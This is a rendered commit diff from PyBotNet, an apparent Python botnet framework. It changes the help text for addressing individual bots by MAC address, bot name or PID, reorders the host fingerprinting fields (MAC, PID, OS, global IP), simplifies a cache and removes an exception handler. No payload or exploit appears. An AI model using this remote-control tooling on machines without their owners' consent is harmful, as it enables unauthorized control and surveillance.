|
13 | 13 | import os
|
14 | 14 |
|
15 | 15 | from .context import Context
|
16 |
| -from .exceptions import UserException, EngineException |
| 16 | +from .exceptions import UserException |
17 | 17 | from .package_info import __version__, __github_link__
|
18 | 18 | from .utils import get_global_ip, get_host_name_ip
|
19 | 19 |
|
@@ -54,12 +54,7 @@ def __init__(
|
54 | 54 | self.scripts = {}
|
55 | 55 | self._debug = debug
|
56 | 56 | self.__run_time = time.time()
|
57 |
| - self.__cache = { |
58 |
| - "system_info": { |
59 |
| - "minimal": {"save_time": None, "data": None}, |
60 |
| - "full": {"save_time": None, "data": None}, |
61 |
| - } |
62 |
| - } |
| 57 | + self.__cache = {} |
63 | 58 |
|
64 | 59 | if self.use_default_scripts:
|
65 | 60 | self.scripts.update(**BotNet.default_scripts)
|
@@ -134,39 +129,45 @@ def _help(self, script_name=None) -> str:
|
134 | 129 |
|
135 | 130 | # Run a script:
|
136 | 131 |
|
137 |
| - - For all bots: |
| 132 | + - On all bots: |
138 | 133 |
|
139 | 134 | `/[SCRIPT-NAME] [params]`
|
140 |
| - Example: |
141 |
| - `/echo hi` |
| 135 | + Examples: |
| 136 | + `/echo Hi` |
142 | 137 | `/who`
|
143 | 138 |
|
| 139 | +
|
144 | 140 | - For Select specific bot:
|
145 | 141 |
|
| 142 | + + Option 1: |
146 | 143 | `[mac-address] /[SCRIPT-NAME] [params]`
|
147 | 144 | Example:
|
148 |
| - `{str(uuid.getnode())} /echo hi` |
149 |
| - `{str(uuid.getnode())} /who` |
| 145 | + `{str(uuid.getnode())} /echo Hi` |
150 | 146 |
|
| 147 | + + Option 2: |
151 | 148 | `[BOT-NAME] /[SCRIPT-NAME] [params]`
|
152 | 149 | Example:
|
153 |
| - `{self.BOT_NAME} /echo hi` |
154 |
| - `{self.BOT_NAME} /who` |
| 150 | + `{self.BOT_NAME} /echo Hi` |
155 | 151 |
|
| 152 | + + Option 3: |
156 | 153 | `[pid] /[SCRIPT-NAME] [params]`
|
157 | 154 | Example:
|
158 |
| - `{str(os.getpid())} {self.BOT_NAME} /echo hi` |
159 |
| - `{str(os.getpid())} {self.BOT_NAME} /who` |
| 155 | + `{str(os.getpid())} /echo Hi` |
160 | 156 |
|
| 157 | + + Option 4: |
161 | 158 | `[mac-address] [pid] /[SCRIPT-NAME] [params]`
|
162 | 159 | Example:
|
163 |
| - `{str(uuid.getnode())} {str(os.getpid())} /echo hi` |
164 |
| - `{str(uuid.getnode())} {str(os.getpid())} /who` |
| 160 | + `{str(uuid.getnode())} {str(os.getpid())} /echo Hi` |
165 | 161 |
|
| 162 | + + Option 5: |
166 | 163 | `[mac-address] [BOT-NAME] /[SCRIPT-NAME] [params]`
|
167 | 164 | Example:
|
168 |
| - `{str(uuid.getnode())} {self.BOT_NAME} /echo hi` |
169 |
| - `{str(uuid.getnode())} {self.BOT_NAME} /who` |
| 165 | + `{str(uuid.getnode())} {self.BOT_NAME} /echo Hi` |
| 166 | +
|
| 167 | + + Option 6: |
| 168 | + `[mac-address] [BOT-NAME] [pid] /[SCRIPT-NAME] [params]` |
| 169 | + Example: |
| 170 | + `{str(uuid.getnode())} {self.BOT_NAME} {str(os.getpid())} /echo Hi` |
170 | 171 |
|
171 | 172 |
|
172 | 173 | # PyBotNet version: {__version__}
|
@@ -218,10 +219,10 @@ def system_info(self, minimal=False):
|
218 | 219 | return data
|
219 | 220 |
|
220 | 221 | minimal_info = {
|
221 |
| - "scripts_name": list(self.scripts), |
| 222 | + "bot_name": self.BOT_NAME, |
222 | 223 | "mac_addres": uuid.getnode(),
|
223 | 224 | "pid": os.getpid(),
|
224 |
| - "bot_name": self.BOT_NAME, |
| 225 | + "scripts_name": list(self.scripts), |
225 | 226 | "os": platform.system(),
|
226 | 227 | "global_ip": get_global_ip(),
|
227 | 228 | }
|
@@ -289,9 +290,6 @@ def _main_while(self):
|
289 | 290 |
|
290 | 291 | try:
|
291 | 292 | command = self.engine.receive()
|
292 |
| - except EngineException as e: |
293 |
| - _logger.debug(f"Engine[{self.engine}] Error: {e}") |
294 |
| - command = False |
295 | 293 |
|
296 | 294 | except Exception as e:
|
297 | 295 | _logger.debug(f"Engine[{self.engine}] Error: {e}")
|
|
0 commit comments